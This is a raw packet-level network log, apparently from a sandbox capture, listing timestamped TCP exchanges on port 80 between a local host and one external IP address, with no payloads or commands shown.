Oct 28, 2024 06:27:27.605426073 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.605448008 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.605454922 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.605475903 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.605500937 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.605521917 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.605531931 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.605545998 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.605557919 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.605564117 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.605576038 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.605577946 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.605585098 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.605588913 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.605598927 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.605612040 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.605628967 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.605633020 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.605639935 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.605669975 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.605705023 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.605726004 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.605765104 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.605865002 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.605875015 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.605915070 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.605915070 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.605943918 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.605953932 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.605964899 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.605981112 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.605983019 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.605995893 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.606010914 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.606017113 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.606029987 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.606040001 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.606041908 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.606053114 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.606065989 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.606081963 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.606112957 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.606137991 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.606157064 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.606174946 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.606261015 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.606272936 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.606281996 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.606297970 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.606309891 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.606314898 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.606314898 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.606321096 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.606332064 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.606339931 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.606344938 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.606367111 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.606369019 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.606393099 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.606431961 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.606453896 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.606492996 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.606508970 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.606520891 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.606548071 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.606549025 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.606565952 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.606580973 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.606622934 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.606650114 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.606661081 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.606662035 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.606672049 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.606683969 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.606689930 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.606710911 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.606725931 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.606755018 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.606771946 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.606782913 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.606794119 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.606806040 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.606806040 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.606806040 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.606829882 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.606852055 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.606853962 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.606863022 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.606894016 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.606900930 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.644418001 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.644438028 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.644454956 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.644464970 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.644468069 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.644476891 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.644481897 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.644496918 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.644501925 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.644531012 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.644893885 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.644932985 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.644949913 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.644962072 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.644994020 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.645004988 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.645015955 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.645025969 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.645032883 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.645045042 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.645051956 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.645059109 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.645067930 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.645071030 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.645071983 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.645088911 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.645097017 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.645104885 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.645107985 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.645129919 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.645150900 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.645158052 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.645205021 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.645234108 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.645245075 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.645273924 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.645303011 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.645312071 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.645340919 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.720727921 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.720751047 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.720763922 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.720776081 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.720788002 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.720792055 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.720807076 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.720815897 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.720815897 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.720820904 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.720828056 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.720834017 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.720845938 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.720856905 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.720871925 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.720875978 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.720894098 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.720905066 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.720906973 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.720916986 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.720927954 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.720930099 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.720937014 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.720948935 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.720961094 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.720961094 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.720973969 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.720985889 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.720985889 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.720999002 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.721014023 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.721030951 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.721038103 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.721043110 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.721062899 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.721066952 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.721091986 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.721107006 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.721117973 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.721127987 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.721129894 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.721155882 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.721155882 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.721184969 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.721223116 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.721293926 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.721303940 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.721314907 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.721327066 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.721334934 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.721344948 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.721374989 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.721384048 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.721395016 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.721436977 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.721523046 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.721535921 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.721550941 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.721560001 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.721563101 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.721575022 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.721594095 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.721606016 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.721606970 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.721616983 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.721633911 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.721645117 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.721661091 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.721780062 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.721791029 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.721801996 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.721817017 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.721831083 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.721851110 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.725832939 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.725850105 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.725861073 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.725872040 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.725883007 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.725883961 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.725893021 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.725904942 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.725915909 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.725915909 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.725924969 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.725943089 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.725959063 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.725970030 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.725990057 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.725996971 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.726003885 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.726015091 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.726021051 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.726021051 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.726037025 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.726047039 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.726063967 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.726073027 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.726079941 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.726088047 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.726089954 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.726102114 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.726125956 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.726174116 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.726176023 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.726186037 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.726222038 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.726263046 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.726279974 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.726289988 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.726301908 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.726313114 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.726320982 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.726332903 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.726353884 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.726510048 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.726550102 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.726571083 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.726583004 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.726593018 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.726612091 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.726629019 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.726646900 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.726658106 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.726667881 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.726679087 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.726686954 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.726701975 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.726711035 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.726717949 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.726735115 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.726744890 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.726754904 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.726762056 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.726768017 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.726768017 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.726778984 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.726800919 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.726809025 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.726866007 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.726902008 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.726923943 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.726938963 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.726950884 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.726965904 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.726989985 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.727019072 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.727051020 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.727061987 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.727072954 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.727082968 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.727094889 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.727102995 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.727119923 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.727132082 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.727138042 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.727149010 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.727149963 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.727168083 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.727169037 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.727175951 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.727180004 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.727190971 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.727200985 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.727211952 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.727217913 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.727219105 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.727231026 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.727241993 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.727243900 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.727250099 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.727256060 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.727272987 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.727273941 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.727282047 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.727302074 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.727324963 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.764925957 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.764941931 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.764961958 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.764974117 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.764983892 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.764997005 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.764997959 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.765007973 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.765019894 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.765028000 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.765045881 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.765068054 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.765278101 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.765315056 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.765316963 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.765328884 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.765348911 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.765360117 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.765366077 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.765368938 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.765388012 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.765409946 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.765508890 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.765520096 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.765530109 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.765547037 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.765558004 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.765568972 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.765577078 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.765580893 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.765599012 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.765610933 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.765613079 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.765620947 CET	80	49758	185.215.113.206	192.168.2.4
